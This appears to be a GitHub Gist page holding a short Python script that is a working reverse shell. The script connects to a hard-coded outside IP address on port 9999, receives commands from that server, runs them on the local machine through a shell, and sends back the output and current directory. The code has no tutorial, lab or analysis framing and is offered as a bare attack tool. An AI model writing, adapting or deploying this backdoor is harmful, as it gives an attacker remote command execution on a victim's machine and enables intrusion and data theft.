Created
November 14, 2019 02:54
-
-
Save fabio-stein/ba6d6bea83bff3da3436099952b225f4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
import subprocess | |
# Create a socket | |
def socket_create(): | |
try: | |
global host | |
global port | |
global s | |
host = '18.228.189.166' | |
port = 9999 | |
s = socket.socket() | |
except socket.error as msg: | |
print("Socket creation error: " + str(msg)) | |
# Connect to a remote socket | |
def socket_connect(): | |
try: | |
global host | |
global port | |
global s | |
s.connect((host, port)) | |
except socket.error as msg: | |
print("Socket connection error: " + str(msg)) | |
# Receive commands from remote server and run on local machine | |
def receive_commands(): | |
global s | |
while True: | |
data = s.recv(1024) | |
if data[:2].decode("utf-8") == 'cd': | |
os.chdir(data[3:].decode("utf-8")) | |
if len(data) > 0: | |
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
output_bytes = cmd.stdout.read() + cmd.stderr.read() | |
output_str = str(output_bytes, "utf-8") | |
s.send(str.encode(output_str + str(os.getcwd()) + '> ')) | |
print(output_str) | |
s.close() | |
def main(): | |
socket_create() | |
socket_connect() | |
receive_commands() | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment